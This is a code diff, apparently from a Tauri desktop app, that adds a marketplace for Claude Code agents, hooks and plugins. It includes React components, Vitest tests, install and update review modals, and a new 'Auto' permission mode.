it("loads with stale refresh when first shown and switches sub-tabs", async () => {
render(<MarketplaceView active />);
await waitFor(() => expect(load).toHaveBeenCalledWith({ refreshStale: true }));
expect(screen.getByText("browse pane")).toBeInTheDocument();
fireEvent.click(screen.getByRole("tab", { name: "Installed" }));
expect(screen.getByText("installed pane")).toBeInTheDocument();
fireEvent.click(screen.getByRole("tab", { name: "Accounts" }));
expect(screen.getByText("accounts pane")).toBeInTheDocument();
});
it("does not load while hidden", () => {
render(<MarketplaceView active={false} />);
expect(load).not.toHaveBeenCalled();
});
});
@@ -0,0 +1,68 @@
import { useEffect, useRef, useState } from "react";
import { useMarketplace } from "../../hooks/useMarketplace";
import { applicableUpdates } from "../../lib/marketplace";
import BrowsePane from "./BrowsePane";
import InstalledPane from "./InstalledPane";
import AccountsPane from "./AccountsPane";
const SUB_TABS = [
{ id: "browse", label: "Browse" },
{ id: "installed", label: "Installed" },
{ id: "accounts", label: "Accounts" },
] as const;
export type MarketplaceSubTab = (typeof SUB_TABS)[number]["id"];
interface Props {
active: boolean;
}
export default function MarketplaceView({ active }: Props) {
const mp = useMarketplace();
const [tab, setTab] = useState<MarketplaceSubTab>("browse");
const { load } = mp;
const wasActive = useRef(false);
// Load (and refresh stale marketplaces) each time the tab comes to the front.
useEffect(() => {
if (active && !wasActive.current) void load({ refreshStale: true });
wasActive.current = active;
}, [active, load]);
return (
<div className={`w-full h-full flex flex-col min-h-0 ${active ? "" : "hidden"}`}>
<div
role="tablist"
aria-label="Marketplace sections"
className="flex gap-1 px-3 pt-3 border-b border-[var(--border-color)]"
>
{SUB_TABS.map((t) => (
<button
key={t.id}
type="button"
role="tab"
aria-selected={tab === t.id}
onClick={() => setTab(t.id)}
className={`px-3 py-1.5 text-xs rounded-t-[var(--radius-control)] ${
tab === t.id
? "bg-[var(--bg-primary)] text-[var(--text-primary)]"
: "text-[var(--text-secondary)] hover:text-[var(--text-primary)]"
}`}
>
{t.label}
{t.id === "installed" && applicableUpdates(mp.updates).length > 0 && (
<span className="ml-1.5 px-1 rounded-[4px] text-[10px] bg-[var(--accent-muted)] text-[var(--accent)]">
{applicableUpdates(mp.updates).length}
</span>
)}
</button>
))}
</div>
<div className="flex-1 min-h-0 overflow-auto">
{tab === "browse" && <BrowsePane mp={mp} />}
{tab === "installed" && <InstalledPane mp={mp} />}
{tab === "accounts" && <AccountsPane mp={mp} />}
</div>
</div>
);
}
@@ -0,0 +1,56 @@
import Modal from "../ui/Modal";
import Button from "../ui/Button";
import type { CatalogItem } from "../../lib/types";
interface Props {
item: CatalogItem;
/** The commit whose components are listed; the install pins exactly this one. */
commit: string;
onConfirm: () => void;
onCancel: () => void;
}
/**
* Plugins can bring hooks, MCP servers and commands — from their catalog
* entry as well as their folder — so installing one is always confirmed with
* everything that will run listed (PR review #4).
*/
export default function PluginConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
return (
<Modal
title={`Install plugin “${item.name}”?`}
description={`This plugin adds what is listed below to Claude Code inside the container; hooks and servers run there.${
commit ? ` Version ${commit.slice(0, 8)}.` : ""
}`}
widthClassName="w-[44rem]"
onClose={onCancel}
footer={
<>
<Button size="md" variant="ghost" onClick={onCancel}>
Cancel
</Button>
<Button size="md" variant="primary" onClick={onConfirm}>
Install plugin
</Button>
</>
}
>
{item.plugin_components.length === 0 ? (
<p className="text-xs text-[var(--text-secondary)]">
This plugin declares no hooks, MCP servers or commands. It may still add skills or agents.
</p>
) : (
<ul className="space-y-2 max-h-[60vh] overflow-auto">
{item.plugin_components.map((c) => (
<li key={c.label}>
<p className="text-xs font-medium mb-1">{c.label}</p>
<pre className="p-2 text-xs font-mono whitespace-pre-wrap break-all rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
{c.content}
</pre>
</li>
))}
</ul>
)}
</Modal>
);
}
@@ -0,0 +1,58 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
const marketplaceItemDiff = vi.fn();
vi.mock("../../lib/tauri-commands", () => ({
marketplaceItemDiff: (...a: unknown[]) => marketplaceItemDiff(...a),
}));
import UpdateDiffModal from "./UpdateDiffModal";
const A = "a".repeat(40);
const B = "b".repeat(40);
const item = { marketplace_id: "m1", kind: "hook" as const, key: "notify" };
describe("UpdateDiffModal", () => {
beforeEach(() => vi.clearAllMocks());
it("loads the diff from the install's pin to head and accepts", async () => {
marketplaceItemDiff.mockResolvedValue([
{ path: "notify.sh", change: "modified", unified: "-echo old\n+echo new\n" },
{ path: "icon.png", change: "added", unified: null },
]);
const onAccept = vi.fn(async () => true);
render(<UpdateDiffModal item={item} fromCommit={A} toCommit={B} scopeLabel="All projects" onClose={vi.fn()} onAccept={onAccept} />);
await waitFor(() => expect(marketplaceItemDiff).toHaveBeenCalledWith(item, A, B));
expect(screen.getByText(/\+echo new/)).toBeInTheDocument();
expect(screen.getByText("Binary file — no text diff")).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Update" }));
await waitFor(() => expect(onAccept).toHaveBeenCalled());
});
it("shows a load error and keeps Update disabled", async () => {
marketplaceItemDiff.mockRejectedValue("commit not in cache");
render(<UpdateDiffModal item={item} fromCommit={A} toCommit={B} scopeLabel="p" onClose={vi.fn()} onAccept={vi.fn()} />);
expect(await screen.findByText(/commit not in cache/)).toBeInTheDocument();
expect(screen.getByRole("button", { name: "Update" })).toBeDisabled();
});
it("shows the rendered commands a hook will run after the update (F8)", async () => {
marketplaceItemDiff.mockResolvedValue([]);
render(
<UpdateDiffModal
item={item}
fromCommit={A}
toCommit={B}
scopeLabel="All projects"
hookCommands={["/home/claude/.claude/triple-c/hooks/notify/run.sh --new-flag"]}
onClose={vi.fn()}
onAccept={vi.fn()}
/>,
);
await waitFor(() => expect(marketplaceItemDiff).toHaveBeenCalled());
expect(screen.getByText("Commands after this update")).toBeInTheDocument();
expect(
screen.getByText("/home/claude/.claude/triple-c/hooks/notify/run.sh --new-flag"),
).toBeInTheDocument();
});
});
@@ -0,0 +1,128 @@
import { useEffect, useState } from "react";
import Modal from "../ui/Modal";
import Button from "../ui/Button";
import { marketplaceItemDiff } from "../../lib/tauri-commands";
import { formatItemRef } from "../../lib/marketplace";
import type { FileDiff, MarketplaceItemRef } from "../../lib/types";
interface Props {
item: MarketplaceItemRef;
fromCommit: string;
toCommit: string;
scopeLabel: string;
/**
* Hooks only: the rendered commands the item runs at `toCommit` (head), from
* the marketplace snapshot's catalog entry. An update can change what a hook
* runs without going back through the install-time confirm list, so this is
* shown alongside the file diff — spec §3. Undefined for non-hook items.
*/
hookCommands?: string[];
onClose: () => void;
/** Resolves true when the update was applied. */
onAccept: () => Promise<boolean>;
}
const CHANGE_LABEL: Record<FileDiff["change"], string> = {
added: "added",
removed: "removed",
modified: "modified",
};
export default function UpdateDiffModal({
item,
fromCommit,
toCommit,
scopeLabel,
hookCommands,
onClose,
onAccept,
}: Props) {
const [diffs, setDiffs] = useState<FileDiff[] | null>(null);
const [error, setError] = useState<string | null>(null);
const [busy, setBusy] = useState(false);
useEffect(() => {
let cancelled = false;
marketplaceItemDiff(item, fromCommit, toCommit)
.then((d) => {
if (!cancelled) setDiffs(d);
})
.catch((e) => {
if (!cancelled) setError(typeof e === "string" ? e : String(e));
});
return () => {
cancelled = true;
};
}, [item, fromCommit, toCommit]);
const accept = async () => {
setBusy(true);
try {
if (await onAccept()) onClose();
} finally {
setBusy(false);
}
};
return (
<Modal
title={`Update ${formatItemRef(item)}`}
description={`${scopeLabel}: ${fromCommit.slice(0, 8)} → ${toCommit.slice(0, 8)}. Review the changes before accepting.`}
widthClassName="w-[52rem]"
dismissible={!busy}
onClose={onClose}
footer={
<>
<Button size="md" variant="ghost" onClick={onClose} disabled={busy}>
Cancel
</Button>
<Button size="md" variant="primary" onClick={() => void accept()} disabled={busy || diffs === null}>
Update
</Button>
</>
}
>
{error && <p role="alert" className="text-xs text-[var(--error)]">{error}</p>}
{!error && diffs === null && <p className="text-xs text-[var(--text-secondary)]">Loading changes…</p>}
{hookCommands && (
<div className="mb-3">
<p className="text-xs font-medium mb-1">Commands after this update</p>
{hookCommands.length === 0 ? (
<p className="text-xs text-[var(--text-secondary)]">This hook declares no commands.</p>
) : (
<ul className="space-y-1">
{hookCommands.map((c) => (
<li key={c}>
<code className="block font-mono text-xs break-all px-2 py-1 rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
{c}
</code>
</li>
))}
</ul>
)}
</div>
)}
{diffs && diffs.length === 0 && (
<p className="text-xs text-[var(--text-secondary)]">No changes to the item's files or catalog entry.</p>
)}
{diffs && diffs.length > 0 && (
<div className="space-y-3 max-h-[60vh] overflow-auto">
{diffs.map((d) => (
<div key={d.path}>
<p className="text-xs font-mono mb-1">
{d.path} <span className="text-[var(--text-secondary)]">({CHANGE_LABEL[d.change]})</span>
</p>
{d.unified === null ? (
<p className="text-xs text-[var(--text-secondary)]">Binary file — no text diff</p>
) : (
<pre className="p-2 text-xs font-mono whitespace-pre overflow-auto rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
{d.unified}
</pre>
)}
</div>
))}
</div>
)}
</Modal>
);
}
@@ -32,6 +32,8 @@ const baseProject: Project = {
claude_instructions: null,
claude_code_settings: null,
renamed_session_names: {},
marketplace_installs: [],
marketplace_disabled: [],
created_at: "2026-01-01T00:00:00Z",
updated_at: "2026-01-01T00:00:00Z",
};
@@ -75,11 +77,11 @@ describe("PermissionModeControl", () => {
vi.clearAllMocks();
});
it("renders all four modes as a radio group with the effective one checked", () => {
it("renders all five modes as a radio group with the effective one checked", () => {
render(<PermissionModeControl project={baseProject} onChange={onChange} />);
const group = screen.getByRole("radiogroup", { name: "Permission mode" });
expect(group).toBeInTheDocument();
expect(screen.getAllByRole("radio")).toHaveLength(4);
expect(screen.getAllByRole("radio")).toHaveLength(5);
expect(screen.getByRole("radio", { name: "Default" })).toHaveAttribute(
"aria-checked",
"true",
@@ -92,6 +94,14 @@ describe("PermissionModeControl", () => {
expect(onChange).toHaveBeenCalledWith("acceptEdits");
});
it("offers Auto between Accept Edits and Bypass", () => {
render(<PermissionModeControl project={baseProject} onChange={onChange} />);
const labels = screen.getAllByRole("radio").map((r) => r.textContent);
expect(labels).toEqual(["Plan", "Default", "Accept Edits", "Auto", "Bypass"]);
fireEvent.click(screen.getByRole("radio", { name: "Auto" }));
expect(onChange).toHaveBeenCalledWith("auto");
});
it("moves selection with the arrow keys", () => {
render(<PermissionModeControl project={baseProject} onChange={onChange} />);
fireEvent.keyDown(screen.getByRole("radiogroup", { name: "Permission mode" }), {
@@ -9,6 +9,11 @@ export const PERMISSION_MODES: Segment<PermissionMode>[] = [
label: "Accept Edits",
hint: "File edits are auto-approved; other tools still prompt.",
},
{
value: "auto",
label: "Auto",
hint: "A safety classifier approves routine actions and blocks risky ones, without prompting.",
},
{
value: "bypass",
label: "Bypass",
@@ -60,6 +60,8 @@ const baseProject: Project = {
claude_instructions: null,
claude_code_settings: null,
renamed_session_names: {},
marketplace_installs: [],
marketplace_disabled: [],
created_at: "2026-01-01T00:00:00Z",
updated_at: "2026-01-01T00:00:00Z",
};
@@ -125,6 +125,8 @@ const project: Project = {
claude_instructions: null,
claude_code_settings: null,
renamed_session_names: {},
marketplace_installs: [],
marketplace_disabled: [],
created_at: "2026-01-01T00:00:00Z",
updated_at: "2026-01-01T00:00:00Z",
} as unknown as Project;
@@ -5,6 +5,7 @@ import WorkspaceSection from "./config/WorkspaceSection";
import ModelSection from "./config/ModelSection";
import AccessSection from "./config/AccessSection";
import RuntimeSection from "./config/RuntimeSection";
import MarketplaceSection from "./config/MarketplaceSection";
interface Props {
project: Project;
@@ -52,6 +53,7 @@ export default function ConfigTab({ project, save, saveState }: Props) {
disabled={disabled}
disabledReason={STOPPED_ONLY}
/>
<MarketplaceSection project={project} />
</div>
);
}
@@ -44,6 +44,8 @@ const baseProject: Project = {
claude_instructions: null,
claude_code_settings: null,
renamed_session_names: {},
marketplace_installs: [],
marketplace_disabled: [],
created_at: "2026-01-01T00:00:00Z",
updated_at: "2026-01-01T00:00:00Z",
};
@@ -159,12 +161,19 @@ describe("TaskEditorModal", () => {
});
it("warns that a headless run cannot answer a permission prompt", async () => {
// Bypass is the only mode where an unattended run is safe from stalling.
// Bypass (and Auto, below) are the modes where an unattended run cannot stall.
await renderEditor(null, { ...baseProject, permission_mode: "bypass" });
expect(screen.getByText(/headless/i)).toBeInTheDocument();
expect(screen.queryByText(/cannot answer a permission prompt/i)).toBeNull();
});
it("tells Auto mode that blocked actions are denied, and warns of the fallback", async () => {
await renderEditor(null, { ...baseProject, permission_mode: "auto" });
expect(screen.queryByText(/cannot answer a permission prompt/i)).toBeNull();
expect(screen.getByText(/blocks are denied/i)).toBeInTheDocument();
expect(screen.getByText(/falls back to prompting/i)).toBeInTheDocument();
});
it("spells out the stall risk in any non-Bypass mode", async () => {
await renderEditor(null, { ...baseProject, permission_mode: "default" });
expect(screen.getByText(/cannot answer a permission prompt/i)).toBeInTheDocument();
@@ -301,11 +301,18 @@ export default function TaskEditorModal({ project, task, onClose, onSaved }: Pro
terminal attached, using this project&rsquo;s permission mode (
<strong className="text-[var(--text-primary)]">{modeLabel}</strong>).
</p>
{mode !== "bypass" && (
{mode === "auto" && (
<p className="text-xs text-[var(--warning)]">
In Auto mode, actions the safety classifier blocks are denied and the run carries on
without them. If Auto isn&rsquo;t available for this project&rsquo;s model or backend,
Claude Code falls back to prompting and the task may stall.
</p>
)}
{mode !== "bypass" && mode !== "auto" && (
<p className="text-xs text-[var(--warning)]">
A headless run cannot answer a permission prompt. In {modeLabel} mode the task may
stall and produce an empty log; set the mode to Bypass in the Config tab for
unattended runs.
stall and produce an empty log; set the mode to Auto or Bypass in the Config tab
for unattended runs.
</p>
)}
</div>
@@ -0,0 +1,120 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen, waitFor, within } from "@testing-library/react";
import { useAppState, MARKETPLACE_TAB_KEY } from "../../../../store/appState";
import type { AppSettings, Project } from "../../../../lib/types";
const setGlobalItemDisabled = vi.fn();
const getMarketplaceSyncReport = vi.fn();
vi.mock("../../../../lib/tauri-commands", () => ({
setGlobalItemDisabled: (...a: unknown[]) => setGlobalItemDisabled(...a),
getMarketplaceSyncReport: (id: string) => getMarketplaceSyncReport(id),
}));
let syncFinishedHandler: ((event: { payload: { project_id: string; report: unknown } }) => void) | null = null;
const listenMock = vi.fn(async (_name: string, cb: (event: { payload: { project_id: string; report: unknown } }) => void) => {
syncFinishedHandler = cb;
return vi.fn();
});
vi.mock("@tauri-apps/api/event", () => ({
listen: (...a: Parameters<typeof listenMock>) => listenMock(...a),
}));
import MarketplaceSection from "./MarketplaceSection";
const A = "a".repeat(40);
const project = {
id: "p1",
name: "api",
status: "running",
marketplace_installs: [{ marketplace_id: "m1", kind: "command", key: "cmd", commit: A }],
marketplace_disabled: [{ marketplace_id: "m1", kind: "hook", key: "noisy" }],
} as unknown as Project;
describe("MarketplaceSection", () => {
beforeEach(() => {
vi.clearAllMocks();
syncFinishedHandler = null;
useAppState.setState({
tabOrder: [],
activeTabKey: null,
projects: [project],
toasts: [],
appSettings: {
marketplaces: [{ id: "m1", name: "Starter", url: "https://x/y.git", branch: null, account_id: null }],
marketplace_accounts: [],
global_marketplace_installs: [
{ marketplace_id: "m1", kind: "agent", key: "rev", commit: A },
{ marketplace_id: "m1", kind: "hook", key: "noisy", commit: A },
],
} as unknown as AppSettings,
});
getMarketplaceSyncReport.mockResolvedValue({
installed: ["agent:rev"],
updated: [],
removed: [],
skipped: [{ item: "command:cmd", reason: "a file you created has the same name" }],
errors: [],
finished_at: "2026-09-27T12:00:00Z",
});
});
it("shows effective items with their source and the opted-out global item", async () => {
render(<MarketplaceSection project={project} />);
const rev = screen.getByTestId("mp-global-agent-rev");
expect(within(rev).getByRole("switch")).toBeChecked();
const noisy = screen.getByTestId("mp-global-hook-noisy");
expect(within(noisy).getByRole("switch")).not.toBeChecked();
expect(screen.getByTestId("mp-project-command-cmd")).toHaveTextContent("This project only");
expect(await screen.findByText(/a file you created has the same name/)).toBeInTheDocument();
});
it("opts out of a global item", async () => {
setGlobalItemDisabled.mockResolvedValue({ ...project, marketplace_disabled: [] });
render(<MarketplaceSection project={project} />);
fireEvent.click(within(screen.getByTestId("mp-global-agent-rev")).getByRole("switch"));
await waitFor(() =>
expect(setGlobalItemDisabled).toHaveBeenCalledWith("p1", { marketplace_id: "m1", kind: "agent", key: "rev" }, true),
);
});
it("opens the Marketplace filtered to this project", async () => {
render(<MarketplaceSection project={project} />);
await screen.findByText(/a file you created has the same name/);
fireEvent.click(screen.getByRole("button", { name: "Open in Marketplace" }));
expect(useAppState.getState().activeTabKey).toBe(MARKETPLACE_TAB_KEY);
expect(useAppState.getState().marketplaceFilterProjectId).toBe("p1");
});
it("refetches the sync report when marketplace-sync-finished fires for this project", async () => {
render(<MarketplaceSection project={project} />);
await screen.findByText(/a file you created has the same name/);
expect(getMarketplaceSyncReport).toHaveBeenCalledTimes(1);
getMarketplaceSyncReport.mockResolvedValue({
installed: [],
updated: [],
removed: [],
skipped: [],
errors: ["boom"],
finished_at: "2026-09-27T13:00:00Z",
});
expect(syncFinishedHandler).not.toBeNull();
syncFinishedHandler?.({ payload: { project_id: "p1", report: {} } });
await waitFor(() => expect(getMarketplaceSyncReport).toHaveBeenCalledTimes(2));
expect(await screen.findByText("boom")).toBeInTheDocument();
});
it("ignores marketplace-sync-finished events for other projects", async () => {
render(<MarketplaceSection project={project} />);
await screen.findByText(/a file you created has the same name/);
expect(getMarketplaceSyncReport).toHaveBeenCalledTimes(1);
expect(syncFinishedHandler).not.toBeNull();
syncFinishedHandler?.({ payload: { project_id: "p2", report: {} } });
await new Promise((r) => setTimeout(r, 0));
expect(getMarketplaceSyncReport).toHaveBeenCalledTimes(1);
});
});
@@ -0,0 +1,171 @@
import { useEffect, useState } from "react";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import { ConfigGroup } from "../../../ui/Field";
import Toggle from "../../../ui/Toggle";
import Button from "../../../ui/Button";
import { useAppState } from "../../../../store/appState";
import { KIND_LABELS } from "../../../../lib/marketplace";
import { getMarketplaceSyncReport, setGlobalItemDisabled } from "../../../../lib/tauri-commands";
import type { MarketplaceItemRef, Project, SyncReport } from "../../../../lib/types";
interface Props {
project: Project;
}
interface SyncFinishedEvent {
project_id: string;
report: SyncReport;
}
const kindWord = (k: MarketplaceItemRef["kind"]) => KIND_LABELS[k].replace(/s$/, "").toLowerCase();
const same = (a: MarketplaceItemRef, b: MarketplaceItemRef) =>
a.marketplace_id === b.marketplace_id && a.kind === b.kind && a.key === b.key;
export default function MarketplaceSection({ project }: Props) {
const appSettings = useAppState((s) => s.appSettings);
const openMarketplace = useAppState((s) => s.openMarketplace);
const updateProjectInList = useAppState((s) => s.updateProjectInList);
const pushToast = useAppState((s) => s.pushToast);
const [report, setReport] = useState<SyncReport | null>(null);
const [busy, setBusy] = useState<string | null>(null);
const globalInstalls = appSettings?.global_marketplace_installs ?? [];
const nameOf = (id: string) => appSettings?.marketplaces.find((m) => m.id === id)?.name ?? "removed marketplace";
useEffect(() => {
let cancelled = false;
const fetchReport = () => {
getMarketplaceSyncReport(project.id)
.then((r) => {
if (!cancelled) setReport(r);
})
.catch(() => {
if (!cancelled) setReport(null);
});
};
fetchReport();
// N7 (preflight): a sync also runs outside this component's own actions
// (container start, "Apply now" from the Marketplace tab), so without
// this the report shown here goes stale as soon as one finishes.
let unlisten: UnlistenFn | null = null;
listen<SyncFinishedEvent>("marketplace-sync-finished", (event) => {
if (event.payload.project_id === project.id) fetchReport();
})
.then((fn) => {
if (cancelled) fn();
else unlisten = fn;
})
.catch(() => {
// Not running inside Tauri (e.g. tests) — nothing to listen to.
});
return () => {
cancelled = true;
unlisten?.();
};
}, [project.id, project.status]);
const toggleGlobal = async (ref: MarketplaceItemRef, enabled: boolean) => {
const id = `${ref.kind}-${ref.key}`;
setBusy(id);
try {
updateProjectInList(await setGlobalItemDisabled(project.id, ref, !enabled));
} catch (e) {
pushToast({ kind: "error", message: `Could not change ${ref.key} for “${project.name}”`, detail: String(e) });
} finally {
setBusy(null);
}
};
return (
<ConfigGroup
title="Marketplace"
description="Items this project gets from marketplaces. Changes apply on the next container start or with Apply now, in new Claude sessions."
>
<div className="space-y-3">
{globalInstalls.length > 0 && (
<div>
<p className="text-xs font-medium mb-1">From “All projects”</p>
<ul className="space-y-1">
{globalInstalls.map((g) => {
const shadowed = project.marketplace_installs.some((p) => same(p, g));
const enabled = !project.marketplace_disabled.some((d) => same(d, g));
return (
<li
key={`${g.marketplace_id}/${g.kind}/${g.key}`}
data-testid={`mp-global-${g.kind}-${g.key}`}
className="flex items-center justify-between gap-2 text-xs"
>
<span className="min-w-0 truncate">
<span className="font-medium">{g.key}</span>{" "}
<span className="text-[var(--text-secondary)]">
{kindWord(g.kind)} · {nameOf(g.marketplace_id)}
{shadowed ? " · overridden by this project's own install" : ""}
</span>
</span>
<Toggle
label={`Use ${g.key} in ${project.name}`}
checked={enabled}
disabled={busy === `${g.kind}-${g.key}`}
onChange={(v) => void toggleGlobal({ marketplace_id: g.marketplace_id, kind: g.kind, key: g.key }, v)}
/>
</li>
);
})}
</ul>
</div>
)}
{project.marketplace_installs.length > 0 && (
<div>
<p className="text-xs font-medium mb-1">This project only</p>
<ul className="space-y-1">
{project.marketplace_installs.map((i) => (
<li
key={`${i.marketplace_id}/${i.kind}/${i.key}`}
data-testid={`mp-project-${i.kind}-${i.key}`}
className="text-xs"
>
<span className="font-medium">{i.key}</span>{" "}
<span className="text-[var(--text-secondary)]">
{kindWord(i.kind)} · {nameOf(i.marketplace_id)} · This project only
</span>
</li>
))}
</ul>
</div>
)}
{globalInstalls.length === 0 && project.marketplace_installs.length === 0 && (
<p className="text-xs text-[var(--text-secondary)]">Nothing installed from a marketplace.</p>
)}
{report && (
<div className="text-xs space-y-1">
<p className="font-medium">
Last sync {report.finished_at ? new Date(report.finished_at).toLocaleString() : ""}
</p>
<p className="text-[var(--text-secondary)]">
{report.installed.length} installed · {report.updated.length} updated · {report.removed.length} removed
</p>
{report.skipped.map((s) => (
<p key={s.item} className="text-[var(--warning)]">
Skipped {s.item}: {s.reason}
</p>
))}
{report.errors.map((e) => (
<p key={e} className="text-[var(--error)] whitespace-pre-wrap">
{e}
</p>
))}
</div>
)}
<Button size="sm" variant="secondary" onClick={() => openMarketplace(project.id)}>
Open in Marketplace
</Button>
</div>
</ConfigGroup>
);
}
@@ -34,6 +34,8 @@ const baseProject: Project = {
claude_instructions: null,
claude_code_settings: null,
renamed_session_names: {},
marketplace_installs: [],
marketplace_disabled: [],
created_at: "2026-01-01T00:00:00Z",
updated_at: "2026-01-01T00:00:00Z",
};
@@ -47,6 +47,8 @@ const baseProject: Project = {
claude_instructions: null,
claude_code_settings: null,
renamed_session_names: {},
marketplace_installs: [],
marketplace_disabled: [],
created_at: "2026-01-01T00:00:00Z",
updated_at: "2026-01-01T00:00:00Z",
};
@@ -39,6 +39,8 @@ const baseProject: Project = {
claude_instructions: null,
claude_code_settings: null,
renamed_session_names: {},
marketplace_installs: [],
marketplace_disabled: [],
created_at: "2026-01-01T00:00:00Z",
updated_at: "2026-01-01T00:00:00Z",
};
@@ -3,6 +3,7 @@ import {
IMAGE_PREVIEW_LIMIT,
TEXT_PREVIEW_LIMIT,
decodeBase64,
encodeBase64,
extensionOf,
imageMimeFor,
looksBinary,
@@ -76,3 +77,22 @@ describe("decodeBase64 / looksBinary", () => {
expect(looksBinary(bytes)).toBe(false);
});
});
describe("encodeBase64", () => {
it("matches btoa on a small input", () => {
expect(encodeBase64(new Uint8Array([0xff, 0xd8, 0x00, 0x41]))).toBe(btoa("\xff\xd8\x00\x41"));
});
it("round-trips 1 MiB without overflowing the call stack", () => {
// Spreading a 1 MiB array into String.fromCharCode throws RangeError in V8.
const bytes = new Uint8Array(TEXT_PREVIEW_LIMIT);
for (let i = 0; i < bytes.length; i++) bytes[i] = (i * 31 + 7) & 0xff;
const back = decodeBase64(encodeBase64(bytes));
expect(back.length).toBe(bytes.length);
expect(back.every((b, i) => b === bytes[i])).toBe(true);
});
it("encodes an empty input as the empty string", () => {
expect(encodeBase64(new Uint8Array(0))).toBe("");
});
});
@@ -96,6 +96,19 @@ export function decodeBase64(base64: string): Uint8Array<ArrayBuffer> {
return bytes;
}
/**
* Bytes → base64. Built 32 KiB at a time: spreading a whole buffer into
* `String.fromCharCode` overflows the argument limit well below 1 MiB.
*/
export function encodeBase64(bytes: Uint8Array): string {
const CHUNK = 0x8000;
let binary = "";
for (let i = 0; i < bytes.length; i += CHUNK) {
binary += String.fromCharCode(...bytes.subarray(i, i + CHUNK));
}
return btoa(binary);
}
/**
* The classic heuristic: a NUL byte early on means this is not text. Cheap,
* and it is what `git` and `grep` use to decide the same question.
@@ -32,6 +32,10 @@ const samplePreview: SettingsImportPreview = {
gateway_api_base: null,
image_source: "registry",
custom_image_name: null,
marketplace_count: 0,
global_hook_install_count: 0,
global_plugin_install_count: 0,
marketplace_account_token_count: 0,
};
function outcome(settings: AppSettings, secretRestoreWarnings: string[] = []): SettingsImportOutcome {
@@ -0,0 +1,54 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
import MarketplaceSettings from "./MarketplaceSettings";
import { useAppState, MARKETPLACE_TAB_KEY } from "../../store/appState";
import type { AppSettings } from "../../lib/types";
const listMarketplaceUpdates = vi.fn();
vi.mock("../../lib/tauri-commands", () => ({
listMarketplaceUpdates: () => listMarketplaceUpdates(),
}));
describe("MarketplaceSettings", () => {
beforeEach(() => {
vi.clearAllMocks();
useAppState.setState({
tabOrder: [],
activeTabKey: null,
appSettings: {
marketplaces: [{ id: "m1", name: "Starter", url: "https://x/y.git", branch: null, account_id: null }],
global_marketplace_installs: [
{ marketplace_id: "m1", kind: "agent", key: "a", commit: "a".repeat(40) },
{ marketplace_id: "m1", kind: "hook", key: "h", commit: "a".repeat(40) },
],
marketplace_accounts: [],
} as unknown as AppSettings,
});
listMarketplaceUpdates.mockResolvedValue([
{
item: { marketplace_id: "m1", kind: "agent", key: "a" },
pinned: "a".repeat(40),
head: "b".repeat(40),
invalid_at_head: null,
},
// Not applicable (re-review round 2): not counted as available.
{
item: { marketplace_id: "m1", kind: "hook", key: "h" },
pinned: "a".repeat(40),
head: "b".repeat(40),
invalid_at_head: 'unknown hook event "PreFoo"',
},
]);
});
it("summarises and opens the Marketplace tab", async () => {
render(<MarketplaceSettings />);
expect(screen.getByTestId("marketplace-summary")).toHaveTextContent("1 marketplace");
expect(screen.getByTestId("marketplace-summary")).toHaveTextContent("2 installed for all projects");
await waitFor(() =>
expect(screen.getByTestId("marketplace-summary")).toHaveTextContent("1 update available"),
);
fireEvent.click(screen.getByRole("button", { name: "Open Marketplace" }));
expect(useAppState.getState().activeTabKey).toBe(MARKETPLACE_TAB_KEY);
});
});
@@ -0,0 +1,49 @@
import { useEffect, useState } from "react";
import { useAppState } from "../../store/appState";
import { listMarketplaceUpdates } from "../../lib/tauri-commands";
import { applicableUpdates } from "../../lib/marketplace";
import Button from "../ui/Button";
const plural = (n: number, one: string, many: string) => `${n} ${n === 1 ? one : many}`;
export default function MarketplaceSettings() {
const appSettings = useAppState((s) => s.appSettings);
const openMarketplace = useAppState((s) => s.openMarketplace);
const [updateCount, setUpdateCount] = useState<number | null>(null);
useEffect(() => {
let cancelled = false;
listMarketplaceUpdates()
.then((u) => {
if (!cancelled) setUpdateCount(applicableUpdates(u).length);
})
.catch(() => {
if (!cancelled) setUpdateCount(null);
});
return () => {
cancelled = true;
};
}, [appSettings?.marketplaces.length]);
const marketplaces = appSettings?.marketplaces.length ?? 0;
const globalInstalls = appSettings?.global_marketplace_installs.length ?? 0;
return (
<div className="space-y-2">
<p data-testid="marketplace-summary" className="text-xs text-[var(--text-secondary)] leading-snug">
{plural(marketplaces, "marketplace", "marketplaces")} ·{" "}
{globalInstalls} installed for all projects
{updateCount !== null && updateCount > 0 && (
<> · {plural(updateCount, "update available", "updates available")}</>
)}
</p>
<p className="text-xs text-[var(--text-secondary)] leading-snug">
Agents, skills, commands, hooks and plugins from git repositories, installed for all
projects or per project. Changes apply to new Claude sessions.
</p>
<Button size="md" variant="secondary" onClick={() => openMarketplace()}>
Open Marketplace
</Button>
</div>
);
}
@@ -20,6 +20,7 @@ import { resolveTerminalGpuRendering } from "../../lib/terminalRenderer";
import WebTerminalSettings from "./WebTerminalSettings";
import SttSettings from "./SttSettings";
import SharedAuthSettings from "./SharedAuthSettings";
import MarketplaceSettings from "./MarketplaceSettings";
import CertificateSettings from "./CertificateSettings";
import ExportSettingsModal from "./ExportSettingsModal";
import ImportSettingsModal from "./ImportSettingsModal";
@@ -171,6 +172,10 @@ export default function SettingsPanel() {
<SharedAuthSettings />
</AccordionSection>
<AccordionSection id="marketplace" title="Marketplace" defaultOpen={false}>
<MarketplaceSettings />
</AccordionSection>
<AccordionSection id="backends" title="Backends" defaultOpen={false}>
<AwsSettings />
<div className="pt-3 border-t border-[var(--border-color)]" />
@@ -72,6 +72,8 @@ const baseProject: Project = {
claude_instructions: null,
claude_code_settings: null,
renamed_session_names: {},
marketplace_installs: [],
marketplace_disabled: [],
created_at: "2026-01-01T00:00:00Z",
updated_at: "2026-01-01T00:00:00Z",
};
@@ -140,6 +142,17 @@ describe("SharedAuthSettings", () => {
await waitFor(() => expect(hasClaudeToken).toHaveBeenCalled());
});
it("lets the action buttons wrap instead of running out of the sidebar", async () => {
// Re-authenticate, Revoke and Check snapshot images are each nowrap, and
